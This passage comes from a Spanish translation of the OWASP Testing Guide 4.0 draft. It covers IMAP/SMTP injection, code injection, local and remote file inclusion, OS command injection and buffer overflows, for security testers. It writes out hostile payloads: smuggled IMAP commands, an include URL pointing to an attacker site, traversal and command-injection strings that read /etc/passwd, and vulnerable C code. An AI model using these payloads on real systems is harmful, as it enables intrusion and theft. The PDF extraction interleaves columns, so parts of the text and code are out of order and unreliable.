Si no hay ningún conocimiento acerca de los detalles internos de datos XML, y si la aplicación no proporciona mensajes de error útiles que nos ayuden a la reconstrucción de su lógica interna, es posible realizar un ataque de inyección ciega de XPath, cuyo objetivo es reconstruir toda la estructura de datos. La técnica es similar a la inyección de SQL basada en la inferencia, ya que el método consiste en inyectar el código que crea una consulta que devuelve un bit de información. La inyección ciega de XPath se explica más detalladamente por Amit Klein en el documento de referencia.
Referencias Libros Blancos • Amit Klein: “Blind XPath Injection”: packetstorm.foofus.com • XPath 1.0 specifications: w3.org
Pruebas de inyección de IMAP/SMTP (OTG-INPVAL-011) Resumen Esta amenaza afecta a todas las aplicaciones que se comunican con servidores de correo (IMAP/SMTP), generalmente aplicaciones de webmail. El objetivo de esta prueba es verificar la capacidad de inyectar comandos IMAP/SMTP arbitrarios en los servidores de correo, debido a que el ingreso de datos no está correctamente desinfectado.
La figura 1 muestra el flujo de tráfico visto generalmente al utilizar tecnologías de webmail. Los pasos 1 y 2 son el usuario interactuando con el cliente de correo web, mientras que el paso 3 es el evaluador evadiendo al cliente webmail e interactuando directamente con los servidores de correo de acceso restringido (back-end).
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 218
Guia de pruebas 4.0 "Borrador"
Esta técnica permite una amplia variedad de acciones y ataques. Las posibilidades dependen del tipo y ámbito de la inyección y la tecnología del servidor de correo que se está probando.
Algunos ejemplos de ataques con la técnica de inyección IMAP/SMTP son: • Explotación de vulnerabilidades en el protocolo IMAP/SMTP. • Evasión de restricciones de la aplicación. • Evasión del proceso anti-automatización. • Fugas de información • Relevo/SPAM
Cómo probar
En este ejemplo, el parámetro de "mailbox" se prueba manipulando todas las solicitudes con el parámetro siguiente:
Los patrones estandar de ataque son: • Identificación der los parámetros vulnerables.
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=46 106&startMessage=1
• Entendimiento del flujo de información y estructura de despliegue del cliente. • Inyección de comandos IMAP/SMTP. Los siguientes ejemplos pueden usarse: Identifique los parámetros vulnerables Para poder detectar los parámetros vulnerables, el evaluador tiene que analizar la capacidad de la aplicación en el manejo de datos de entrada. Las pruebas de validación de ingreso de datos requieren que el evaluador envíe solicitudes falsas o maliciosas al servidor y analice la respuesta. En una aplicación segura, la respuesta debe ser un error con alguna acción correspondiente que le indica al cliente que algo ha salido mal. En una aplicación vulnerable, la solicitud podría ser procesada por la aplicación de acceso restringido que responderá con un mensaje de respuesta "HTTP 200 OK".
Es importante tener en cuenta que las solicitudes enviadas deben coincidir con la tecnología que se está probando. Enviar cadenas de inyección SQL para Microsoft SQL server cuando se utiliza un servidor MySQL dará como resultado falsos positivos. En este caso, enviar comandos IMAP maliciosos es el modus operandi ya que IMAP es el protocolo subyacente que se está probando.
Los parámetros especiales de IMAP que se deben utilizar son:
• Asigne un valor null al parametro:
http://<webmail>/src/read_body.php?mailbox=&passed_id=46106&st artMessage=1
• Sustituya el valor con uno aleatorio:
http://<webmail>/src/read_body.php?mailbox=NOTEXIST&passed_i d=46106&startMessage=1
• Añada otros valores al parámetro:
http://<webmail>/src/read_body.php?mailbox=INBOX PARAMETER2&passed_id=46106&startMessage=1
• Añada caracteres especiales no éstandar (i.e.: \, ‘, “, @, #, !, |):
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 219
Guia de pruebas 4.0 "Borrador"
http://<webmail>/src/read_body.php?mailbox=INBOX”&passed_id=4 6106&startMessage=1
http://<webmail>/src/view_header.php?mailbox=INBOX%22&passed _id=46105&passed_ent_id=0
• Elimine el parámetro:
http://<webmail>/src/read_body.php?passed_id=46106&startMessage =1
En este caso, la respuesta de la aplicación podría ser:
ERROR: Bad or malformed request. uery: SELECT “INBOX”” El resultado final de la prueba anterior da al evaluador tres situaciones posibles:
S1 - La aplicación devuelve un código/mensaje de error.
Server responded: Unexpected extra arguments to Select
La situación S2 es más difícil de probar con éxito. El probador debe usar inyección ciega de comandos para determinar si el servidor es vulnerable.
S2 - La aplicación no devuelve un código/mensaje de error, pero no realiza la operación solicitada. S3 - La aplicación no devuelve un código/mensaje de error, y realiza la operación solicitada normalmente.
Por otro lado, la última situación (S3) no es relevante en esta sección.
Resultado esperado: Las situaciones S1 y S2 representan una inyección IMAP/SMTP exitosa. • Lista de parámetros vulnerables. El objetivo de un atacante es recibir la respuesta de S1, ya que es un indicador de que la aplicación es vulnerable a la inyección y posterior manipulación.
• Funcionalidad afectada.
Supongamos que un usuario recupera los encabezados de correo electrónico al usar la siguiente solicitud HTTP:
Entienda la estructura de flujo y despliegue de datos del cliente
http://<webmail>/src/view_header.php?mailbox=INBOX&passed_id= 46105&passed_ent_id=0
Un atacante podría modificar el valor del parámetro INBOX al inyectar el carácter “ (%22 usando codificación URL):
• Tipo de inyección posible (IMAP/SMTP).
Después de identificar todos los parámetros vulnerables (por ejemplo, "passed_id"), el evaluador necesita determinar qué nivel de inyección es posible y luego diseñar un plan de prueba para explotar aún más la aplicación.
En este caso de prueba, hemos detectado que el parámetro de la aplicación "passed_id" es vulnerable y se utiliza en la siguiente petición:
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=46 225&startMessage=1
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 220
Guia de pruebas 4.0 "Borrador"
Inyección de comandos IMAP/SMTP Al utilizar el siguiente caso de prueba (cuando proporciona un valor alfabético y se requiere un valor numérico):
Una vez que el evaluador ha identificado los parámetros vulnerables y ha analizado el contexto en el que se ejecutan, la siguiente etapa es explotar la funcionalidad.
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=te st&startMessage=1 Esta etapa tiene dos posibles resultados:
generará el siguiente mensaje de error:
ERROR : Bad or malformed request. Query: FETCH test:test BODY[HEADER]
En este ejemplo, el mensaje de error devolvió el nombre del comando ejecutado y los parámetros correspondientes.
[1] La inyección es posible en un estado no autenticado: la funcionalidad afectada no requiere autenticar al usuario. Los comandos (IMAP) inyectados disponibles están limitados a: CAPABILITY, NOOP, AUTHENTICATE, LOGIN y LOGOUT. [2] La inyección sólo es posible en un estado autenticado: la explotación exitosa requiere que el usuario esté plenamente autenticado antes de que la prueba pueda continuar.
En cualquier caso, la estructura típica de una inyección IMAP/SMTP es la siguiente:
• Encabezado: finalización del comando esperado; En otras situaciones, el mensaje de error ( "not controlled", no controlado por la aplicación) contiene el nombre del comando ejecutado, pero leer el RFC adecuado (vea la sección de "Referencia") le permitirá al evaluador entender qué otros comandos pueden ser ejecutados.
Si la aplicación no devuelve mensajes de error descriptivos, el probador debe analizar la funcionalidad afectada para deducir todos los posibles comandos (y parámetros) asociados con las funciones mencionadas.
Por ejemplo, si un parámetro vulnerable ha sido detectado en la funcionalidad de crear un buzón de correo, es lógico asumir que el comando IMAP afectado es "CREATE". Según el RFC, el comando CREATE acepta un parámetro que especifica el nombre del buzón a crear.
• Cuerpo: inyección del nuevo comando; • Pie: inicio del comando esperado.
Es importante recordar que, para ejecutar un comando IMAP/SMTP, el comando anterior debe terminar con la secuencia CRLF (0%d%0a).
Supongamos que en la etapa 1 ("Identificando parámetros vulnerables"), el atacante detecta que el parámetro "message_id" en la siguiente petición es vulnerable:
http://<webmail>/read_email.php?message_id=4791
Resultado esperado:
• Listado de los comandos afectados de IMAP/SMTP. • Tipo, valor y número de los parámetros esperados por los comandos IMAP/SMTP afectados.
Supongamos también que el resultado del análisis realizado en la etapa 2 ("Entendiendo la estructura de flujo y despliegue de datos del cliente") ha identificado el comando y los argumentos asociados con este parámetro como:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 221
Guia de pruebas 4.0 "Borrador"
http://www.webappsec.org/projects/articles/121106.pdf FETCH 4791 BODY[HEADER]
Pruebas de inyección de código (OTG-INPVAL-012) Resumen En este escenario, la estructura de inyección IMAP sería: Esta sección describe cómo un evaluador puede comprobar si es posible introducir código en una página web y ejecutarlo con el servidor web. http://<webmail>/read_email.php?message_id=4791 BODY[HEADER]%0d%0aV100 CAPABILITY%0d%0aV101 FETCH 4791
Lo que generaría los siguientes comandos:
En la prueba de inyección de código, un evaluador envía información que es procesada por el servidor web como código dinámico o como un archivo incluido. Estas pruebas pueden dirigirse a varios motores de secuencias de scripting del servidor, como ASP o PHP. Una correcta validación de la entrada y prácticas de codificación seguras deben emplearse para protegerse de estos ataques.
???? FETCH 4791 BODY[HEADER] V100 CAPABILITY V101 FETCH 4791 BODY[HEADER]
Cómo probar Pruebas de Caja Negra Pruebe las vulnerabilidades de inyección PHP
Donde:
Utilizando la cadena de consulta, el evaluador puede inyectar códigos (en este ejemplo, una URL maliciosa) para ser procesados como parte del archivo incluido:
Header = 4791 BODY[HEADER] Body = %0d%0aV100 CAPABILITY%0d%0a
Resultado esperado:
Footer = V101 FETCH 4791
http://www.example.com/uptime.php?pin=http://www.example2.com/ packx1/cs.jpg?&cmd=uname%20-a
Resultado esperado: • Inyección arbitraria de comandos IMAP/SMTP
La URL es aceptada como un parámetro de la página PHP, que más tarde utilizará el valor en un archivo incluido.
Referencias Libros Blancos
Pruebas de Caja Gris
• RFC 0821 “http://www.ietf.org/rfc/rfc0821.txt”.
Pruebe las vulnerabilidades de inyección ASP
• RFC 3501 “http://www.ietf.org/rfc/rfc3501.txt”.
Examine el código ASP en busca de información ingresada por el usuario en funciones de ejecución. ¿ El usuario puede ingresar los comandos en el campo de entrada de datos? Aquí, el código ASP almacena la información en un archivo y luego lo ejecuta:
• Vicente Aguilera Díaz: “MX Injection: Capturing and Exploiting Hidden Mail Servers” -
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 222
Guia de pruebas 4.0 "Borrador"
• Reviewing Code for OS Injection
<% If not isEmpty(Request( “Data” ) ) Then
Dim fso, f ‘User input Data is written to a file named data.txt Set fso = CreateObject(“Scripting.FileSystemObject”) Set f = fso.OpenTextFile(Server.MapPath( “data.txt” ), 8, True)
Pruebas para determinar la inclusión de documentos locales Resumen La vulnerabilidad de inclusión de documentos permite al atacante incluir un documento, normalmente explotando un mecanismo de “inclusión de documento dinámica” implementado en la aplicación objetivo. La vulnerabilidad ocurre debido al uso de datos ingresados por el usuario sin una apropiada validación.
f.Write Request(“Data”) & vbCrLf f.close
Esto puede conducir a algo como mostrar el contenido del archivo, pero dependiendo de la gravedad, también puede llevar a:
Set f = nothing Set fso = Nothing
‘Data.txt is executed
• Ejecución de código en el servidor web. • Ejecución de código en el lado del cliente como JavaScript que puede conducir a otros ataques tales como cross site scripting (XSS). • Negación de servicio (DoS). • Despliegue de información sensible.
Else %> <form> <input name=”Data” /><input type=”submit” name=”Enter Data” /> </form> <%
La inclusión de archivos locales (también conocida como LFI) es el proceso de incluir archivos, que ya están presentes localmente en el servidor, a través de la explotación de las vulnerabilidades en los procedimientos de inserción implementados en la aplicación. Esta vulnerabilidad se produce, por ejemplo, cuando una página recibe, como datos, la ruta del archivo que debe estar incluida y este dato no ha sido correctamente desinfectado, permitiendo que caracteres de salto de directorio (como dot-dot-slash) sean inyectados. Aunque la mayoría de ejemplos apuntan a scripts PHP vulnerables, debemos tener en cuenta que también es común en tecnologías como JSP, ASP y otras.
End If %>))) Cómo probar
Referencias
Cómo la LFI ocurre cuando los caminos para "incluir" declaraciones no se desinfectan correctamente, en un enfoque de pruebas de Caja Negra, debemos buscar scripts que tomen los nombres de archivos como parámetros.
• Security Focus - http://www.securityfocus.com • Insecure.org - http://www.insecure.org
Considere el siguiente ejemplo:
• Wikipedia - http://www.wikipedia.org
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 223
Guia de pruebas 4.0 "Borrador"
http://vulnerable_host/preview.php?file=example.html
http://vulnerable_host/preview.php?file=../../../../etc/passwd%00
Este caso parece el lugar perfecto para buscar LFI. Si un atacante tiene suficiente suerte, y en vez de seleccionar la página apropiada de la matriz por su nombre, la secuencia de comandos incluye directamente el parámetro de entrada, es posible incluir archivos arbitrarios en el servidor.
Referencias
La típica prueba del concepto sería cargar el archivo passwd:
Remediación
http://vulnerable_host/preview.php?file=../../../../etc/passwd
• Wikipedia - http://www.wikipedia.org/wiki/Local_File_Inclusion • Hakipedia - http://hakipedia.com/index.php/Local_File_Inclusion
La solución más eficaz para eliminar las vulnerabilidades de inclusión de archivo es evitar pasar datos ingresados por el usuario a cualquier filesystem/framework API. Si esto no es posible, la aplicación puede mantener una lista blanca de archivos que pueden ser incluidos por la página y luego utilizar un identificador (por ejemplo, el número de índice) para tener acceso al archivo seleccionado.
Si se cumplen las condiciones mencionadas, un atacante vería algo como lo siguiente:
root:x:0:0:root:/root:/bin/bash
Cualquier solicitud que contenga un identificador inválido será rechazada; de esta manera, no hay ninguna superficie de ataque para que usuarios malintencionados puedan manipular la ruta.
bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin alex:x:500:500:alex:/home/alex:/bin/bash margo:x:501:501::/home/margo:/bin/bash
... Muy a menudo, incluso cuando existe dicha vulnerabilidad, su explotación es un poco más compleja. Considere el siguiente fragmento del código:
Pruebas para la inclusión remota de archivos Resumen La vulnerabilidad de inclusión de archivos permite que un atacante incluya un archivo, generalmente, aprovechando un mecanismo de "inclusión dinámica de archivos" implementado en la aplicación de destino. La vulnerabilidad se produce debido al uso de datos suministrados por el usuario sin una validación adecuada.
<?php “include/”.include($_GET[‘filename’].“.php”); ?> Esto puede llevar a que se muestre el contenido del archivo, pero dependiendo de la gravedad, también puede llevar a:
En el caso de la sustitución simple con nombres de archivo arbitrarios no funcionaría, ya que se añade el sufijo 'php'. Para evitarlo, se utiliza una técnica con terminadores null bytes. Cómo %00 representa efectivamente el final de la cadena, se ignorará cualquier carácter después de este byte especial. La siguiente solicitud también devolverá una lista de atacante de los atributos básicos de los usuarios:
• Ejecución de código en el servidor web. • Ejecución de código en el lado del cliente como JavaScript que nos llevaría a otros ataques tales como cross site scripting (XSS). • Negación de servicio (DoS). • Publicación de información sensitiva.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 224
Guia de pruebas 4.0 "Borrador"
Remediación La inclusión remota de archivos (también conocida como RFI) es el proceso de incluir archivos remotos a través de la explotación de las vulnerabilidades en los procedimientos de inserción implementados en la aplicación. Esta vulnerabilidad se produce, por ejemplo, cuando una página recibecomo datos, la ruta del archivo que debe estar incluida y este dato no ha sido correctamente desinfectado, permitiendo que una URL externa se inyecte. Aunque la mayoría de ejemplos apuntan a scripts PHP vulnerables, debemos tener en cuenta que también es común en tecnologías como JSP, ASP y otras.
La solución más eficaz para eliminar las vulnerabilidades de inclusión de archivo es evitar pasar datos enviados por el usuario a cualquier filesystem/framework API. Si esto no es posible, la aplicación puede mantener una lista blanca de archivos que pueden ser incluidos por la página y luego utilizar un identificador (por ejemplo, el número de índice) para tener acceso al archivo seleccionado. Cualquier solicitud que contenga un identificador inválido será rechazada, de esta manera no hay ninguna superficie de ataque para que usuarios malintencionados puedan manipular la ruta.
Cómo probar
Pruebas de inyección de comandos (OTG-INPVAL-013)
Puesto que la RFI ocurre cuando las rutas para "incluir" declaraciones no están correctamente desinfectadas, en un enfoque de pruebas de Caja Negra debemos buscar scripts que tomen los nombres de archivos como parámetros. Considere el siguiente ejemplo PHP:
Resumen Este artículo describe cómo probar una aplicación en busca de inyección de comandos del sistema operativo. El evaluador intentará inyectar un comando de sistema operativo a través de una solicitud HTTP a la aplicación.
$incfile = $_RE UEST[“file”]; include($incfile.”.php”);
En este ejemplo la ruta de acceso se extrae de la solicitud HTTP y no se realiza una validación de datos ingresados (por ejemplo, comprobando el ingreso contra una lista blanca), así que este fragmento de código resulta vulnerable a este tipo de ataque. Considere de hecho la siguiente URL:
La Inyección de comandos del sistema operativo es una técnica utilizada a través de una interfaz web para ejecutar comandos del sistema operativo en un servidor web. El usuario provee comandos del sistema operativo a través de una interfaz web para ejecutar comandos del sistema operativo. Cualquier interfaz que no esté correctamente desinfectada está sujeta a esta debilidad. Con la habilidad de ejecutar comandos en el sistema operativo, el usuario puede subir programas maliciosos o incluso obtener contraseñas. La inyección de comandos del sistema operativo es prevenible cuando la seguridad se acentúa durante el diseño y desarrollo de las aplicaciones.
Cómo probar
http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicou s_page
En este caso el archivo remoto va a ser incluido y cualquier código que contenga se ejecutara en el servidor.
Al observar un archivo en una aplicación web, el nombre del archivo a menudo se muestra en la URL. Perl permite canalizar datos de un proceso hacia una instrucción abierta. El usuario simplemente puede añadir el símbolo Pipe "|" en el final del nombre del archivo.
Ejemplo de las URL antes de ser alteradas:
http://sensitive/cgi-bin/userData.pl?doc=user1.txt Referencias Libros Blancos • “Remote File Inclusion”: projects.webappsec.org
Ejemplo de la URL modificada:
• Wikipedia: “Remote File Inclusion”: en.wikipedia.org http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 225
Guia de pruebas 4.0 "Borrador"
POST http://www.example.com/public/doc HTTP/1.1 Esto ejecutará el comando “/bin/ls”.
Host: www.example.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0
Añadiendo un punto y coma al final de una URL para una. página PHP seguida de un comando del sistema operativo, ejecutará el comando. % 3B que está codificado para url y se decodifica como punto y coma.
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain; q=0.8,image/png,*/*;q=0.5 Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Ejemplo: http://sensitive/something.php?dir=%3Bcat%20/etc/passwd
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300
Ejemplo
Proxy-Connection: keep-alive
Consideremos el caso de una aplicación que contiene un conjunto de documentos que pueden navegarse en Internet. Si usted enciende WebScarab, puede obtener un HTTP POST como el siguiente:
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5 Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
POST http://www.example.com/public/doc HTTP/1.1
Content-Type: application/x-www-form-urlencoded Host: www.example.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8 ,image/png,*/*;q=0.5
Content-length: 33
Si la aplicación no validase la solicitud, podemos obtener el siguiente resultado:
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://127.0.0.1/WebGoat/attack?Screen=20 Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5 Authorization: Basic T2Vbc1Q9Z3V2Tc3e= Content-Type: application/x-www-form-urlencoded Content-length: 33
En la solicitud post, vemos cómo la aplicación recupera la documentación pública. Ahora podemos probar si es posible agregar un comando del sistema operativo para inyectar en el HTTP POST. Haga lo siguiente:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 226
Guia de pruebas 4.0 "Borrador"
Exec Results for ‘cmd.exe /c type “C:\httpd\public\doc\”Doc=Doc1.pdf+|+Dir c:\’ Output...
Referencias Libros Blancos
Il volume nell’unità C non ha etichetta.
• securityfocus.com
Numero di serie Del volume: 8E3F-4B61 Directory of c:\ Remediación 18/10/2006 00:27 2,675 Dir_Prog.txt Desinfección 18/10/2006 00:28 3,887 Dir_ProgFile.txt
16/11/2006 10:43 Doc 11/11/2006 17:25 Documents and Settings
Los formularios de datos y la URL deben desinfectarse de caracteres no válidos. Una "lista negra" de caracteres es una opción, pero puede ser difícil pensar en todos los caracteres contra los que hay que validar. También pueden haber algunos que no han sido descubiertos todavía. Para validar la entrada del usuario se debe crear una "lista blanca" que contenga sólo caracteres permitidos. Caracteres que faltaron, así como las amenazas desconocidas, deben ser eliminados de esta lista.
25/10/2006 03:11 I386
Permisos
14/11/2006 18:51 h4ck3r
30/09/2005 21:40 25,934
La aplicación web y sus componentes deben ejecutarse bajo permisos estrictos que no permitan la ejecución de comandos del sistema operativo. Trate de verificar todas estas informaciones para probar desde un punto de vista de Caja Gris.
OWASP1.JPG 03/11/2006 18:29 Prog
Pruebe la saturación de búfer (OTG-INPVAL-014) Resumen
18/11/2006 11:20 Program Files
Para conocer más acerca de las vulnerabilidades de saturación de búfer, consulte las páginas de saturación de búfer.
16/11/2006 21:12 Software
Vea el artículo OWASP sobre ataques de saturación de búfer.
24/10/2006 18:25 Setup
Vea el artículo OWASP sobre vulnerabilidades de saturación de búfer.
Cómo probar En este caso, hemos realizado con éxito un ataque de inyección de OS. Diferentes tipos de vulnerabilidades de saturación de búfer tienen diferentes métodos de prueba. Aquí están los métodos de prueba para los tipos comunes de vulnerabilidades de saturación de búfer. Herramientas • OWASP ZAP
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 227
Guia de pruebas 4.0 "Borrador"
• Pruebas de vulnerabilidad de saturación del heap. • Pruebas de vulnerabilidad de saturación de pilas de datos.
con la saturación de pilas de datos, ya que hay ciertas condiciones que deben existir en el código de estas vulnerabilidades para que sean explotables.
• Pruebas de vulnerabilidad de cadena de formato. Cómo probar Revisión de código
Pruebas de Caja Negra
Vea el artículo de la Guía de revisión de código OWASP sobre cómo revisar el código en busca de vulnerabilidades por saturación de heap o búfer.
Los principios de las pruebas de Caja Negra para saturación de heap son los mismos que se utilizan para la saturación de pilas de datos. La clave está en introducir cadenas de entrada que sean más largas de lo esperado. Aunque el proceso de prueba sigue siendo el mismo, los resultados que son visibles en el depurador son significativamente diferentes. Mientras que, en el caso de una saturación de pila de datos, una instrucción de puntero o sobreescritura SEH sería evidente; esto no sucede en una condición de saturación de heap.
Remediación Vea el artículo de la Guía de desarrollo OWASP sobre cómo evitar vulnerabilidades de saturación de búfer.
Pruebas de saturación de Heap
Al depurar un programa para Windows, una saturación de heap puede aparecer en varias formas diferentes; la más común es un cambio de puntero que tiene lugar después de que entra en acción la rutina de gestión del heap. A continuación se muestra un escenario que ilustra una vulnerabilidad de saturación de heap.
Resumen En esta prueba, el evaluador de penetración comprueba si se puede provocar una saturación del heap que explota un segmento de memoria.
Heap es un segmento de memoria que se utiliza para almacenar datos dinámicamente asignados y variables globales. Cada fragmento de la memoria en el heap consiste en etiquetas de límite que contienen información de gestión de memoria.
Cuando un búfer basado en heap se satura, se sobrescribe la información de control en estas etiquetas. Cuando la rutina de gestión del heap libera el búfer, una sobrescritura de la dirección de la memoria da lugar a una infracción de acceso. Cuando la saturación se ejecuta de manera controlada, la vulnerabilidad permitirá a un adversario sobrescribir en una ubicación de memoria deseada con un valor controlado por el usuario. En la práctica, un atacante podrá sobrescribir funciones de dirección y varias direcciones almacenadas en estructuras como GOT, .dtors o TEB con la dirección de una carga maliciosa útil.
Hay numerosas variantes de la vulnerabilidad de saturación de heap (corrupción del heap) que puede permitir cualquier cosa, desde sobrescribir punteros de función a la explotación de las estructuras de gestión de memoria para la ejecución de código arbitrario. Localizar la saturación de heap requiere una revisión más detallada en comparación
Los dos registros que se muestran, EAX y ECX, se pueden rellenar con direcciones del usuario que forman parte de los datos que se utilizan para saturar el búfer heap. Una de las direcciones puede apuntar a un puntero de función que debe ser sobreescrito, por ejemplo UEF (Unhandled Exception filter) (filtro de excepción no controlada), y el otro puede ser la dirección del código del usuario que necesita ejecutarse.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 228
Guia de pruebas 4.0 "Borrador"
Cuando se ejecutan las instrucciones de MOV que se muestran en el panel izquierdo, la sobrescritura ocurre y, cuando se contacta con la función, se ejecuta el código de usuario. Como se mencionó anteriormente, otros métodos para probar dichas vulnerabilidades incluyen la ingeniería inversa de las aplicaciones binarias, que es un proceso complejo y tedioso, donde se utilizan técnicas de difuminación (fuzzing).
int main(int argc, char *argv[]) { ……
vulnerable(argv[1]); Pruebas de Caja Gris return 0; Al revisar el código, uno debe darse cuenta que hay varias vías por donde las vulnerabilidades asociadas con los heaps pueden surgir. Un código aparentemente inofensivo a primera vista puede ser vulnerable bajo ciertas condiciones. Puesto que hay distintas variaciones de esta vulnerabilidad, cubriremos sólo los temas que son predominantes.
}
int vulnerable(char *buf) La mayoría de las veces, los bufers heap son considerados seguros por muchos desarrolladores que no dudan en realizar operaciones inseguras como strcpy () en ellos. El mito de que una saturación de pila de datos y la instrucción de sobrescribir el puntero son los únicos medios para ejecutar un código arbitrario resulta peligroso en caso del código que se muestra a continuación:
{
HANDLE hp = HeapCreate(0, 0, 0);
HLOCAL chunk = HeapAlloc(hp, 0, 260);
strcpy(chunk, buf); ‘’’
Vulnerability’’’
En este caso, si buf excede los 260 bytes, se sobreescriben los punteros a la etiqueta de límite adyacente, facilitando la sobrescritura de una ubicación de memoria arbitraria con cuatro bytes de datos una vez que comienza la rutina heap de almacenamiento dinámico.
Recientemente, varios productos, especialmente las bibliotecas de antivirus, han sido afectados por variantes que son combinaciones de una saturación de números enteros y copia de operaciones en un búfer de heap. Como ejemplo, considere un fragmento de código vulnerable, una parte del código responsable de procesar los tipos de archivo TNEF, de Clam Anti Virus 0.86.1, source file tnef.c and function tnef_message( ):
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 229
Guia de pruebas 4.0 "Borrador"
string = cli_malloc(length + 1); ‘’’
Vulnerability’’’
if(fread(string, 1, length, fp) != length) {‘’’
Vulnerability’’’
• David Litchfield: “Windows Heap Overflows”: www.blackhat.com
free(string);
return -1; } El malloc en la línea 1 asigna memoria basada en el valor de la longitud, el cual coincide con un entero de 32 bits. En este ejemplo particular, la longitud es controlable por el usuario y se puede fabricar un archivo TNEF malicioso para ajustar la longitud a '-1', que daría como resultado malloc (0). Por lo tanto, este malloc asignaría un búfer heap pequeño, que sería de 16 bytes en la mayoría de las plataformas de 32 bits (como se indica en malloc.h).
Y ahora, en la línea 2, una saturación de heap se produce en la llamada a fread (). El tercer argumento, en este caso la longitud, se espera que sea una variable de size_t. Pero si va a ser '-1', el argumento envuelve a 0xFFFFFFFF, copiando así 0xFFFFFFFF bytes en el búfer de 16 bytes.
Las herramientas de análisis de código estático también pueden ayudar en la localización de vulnerabilidades de heap tales como “double free” etc. Una variedad de herramientas como las RATS, Flawfinder y ITS4 están disponibles para el análisis de lenguajes de estilo C.
Probar la saturación de pila de datos Resumen La saturación de pila de datos se produce cuando se copian datos de tamaño variable en búferes de longitud ubicados en la pila de datos del programa sin ninguna comprobación de los límites.
Las vulnerabilidades de esta clase se consideran generalmente de alta severidad, ya que su explotación permitiría, sobre todo, la ejecución de código arbitrario o negación de servicio. Aunque rara vez se encuentra en plataformas interpretadas, el código escrito en C y lenguajes similares es, a menudo, montado con instancias de esta vulnerabilidad. De hecho, casi todas las plataformas son vulnerables a saturación de pila de datos con las siguientes excepciones notables:
• J2EE – siempre y cuando no se invoquen métodos nativos o comunicación con el sistema • .NET – siempre que el código inseguro o no administrado no sea invocado (tal como el usado en P/Invoke or COM Interop) • PHP – mientras que no se comuniquen con los programas externos y las extensiones PHP vulnerables escritas en C o C++ las cuales pueden sufrir de saturación de pila de datos.
Herramientas • OllyDbg: “Un depurador basado en windows utilizado para el análisis de vulnerabilidades de saturación de búfer”: ollydbg.de • Spike, un fuzzer framework que puede utilizarse para explorar las vulnerabilidades y realizar pruebas largas: immunitysec.com • Brute Force Binary Tester (BFB), un controlador binario proactivo: bfbtester.sourceforge.net • Metasploit, un framework de desarrollo, explotación y evaluación rápido: metasploit.com
Las vulnerabilidades de saturación de pila de datos a menudo permiten a un atacante tomar directamente el control del puntero de instrucción y, por lo tanto, alterar la ejecución del programa y ejecutar el código arbitrario. Además de sobrescribir el puntero de instrucción, resultados similares también se pueden obtener sobreescribiendo otras variables y estructuras, como los controladores de excepciones, que se encuentran en la pila de datos.
Cómo probar Pruebas de Caja Negra
Referencias Libros Blancos • w00w00: “Heap Overflow Tutorial”: cgsecurity.org
La clave para probar las vulnerabilidades de saturación de pila de datos de una aplicación es suministrando datos demasiado grandes en comparación con los esperados. Sin embargo, someter la aplicación a datos arbitrariamente grandes no es suficiente. Es necesario inspeccionar el flujo de ejecución de la aplicación y las respuestas para determinar si una saturación se ha disparado realmente o no. Por lo tanto, los pasos
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 230
Guia de pruebas 4.0 "Borrador"
necesarios para localizar y validar saturaciones de pila de datos sería asociar un depurador a la aplicación de destino o al proceso, generar ingresos con formato incorrecto en la aplicación, exponer la aplicación a los datos malformados y revisar las respuestas en un depurador. El depurador permite al evaluador ver el flujo de ejecución y el estado de los registros cuando la vulnerabilidad se activa.
Por otra parte, una forma más pasiva para probar puede ser empleada; esta consiste en inspeccionar el código de ensamble de la aplicación usando desensambladores. En este caso, se analizarán varias secciones en busca de firmas de fragmentos de ensamble vulnerables. Esto se denomina comúnmente ingeniería inversa y es un proceso tedioso.
Puesto que la aplicación está esperando argumentos de comandos de línea, una larga secuencia de 'A' puede suministrarse en el campo de argumentos como se muestra arriba.
Al abrir el ejecutable con los argumentos suministrados y continuar corriendo la aplicación se obtienen los siguientes resultados:
Un ejemplo simple: considere la siguiente técnica empleada durante la prueba de un "sample.exe" ejecutable para saturación de pila de datos:
#include<stdio.h> int main(int argc, char *argv[]) { char buff[20]; printf(“copying into buffer”); strcpy(buff,argv[1]); return 0;
El archivo sample.exe se corre en un depurador, en nuestro caso OllyDbg.
Como se muestra en la ventana de registros del depurador, el EIP o Extended Instruction Pointer, que apunta a la siguiente instrucción a ejecutarse, contiene el valor '41414141'. '41' que es una representación hexadecimal para el carácter 'A' y, por lo tanto, la cadena 'AAAA' se traduce a 41414141.
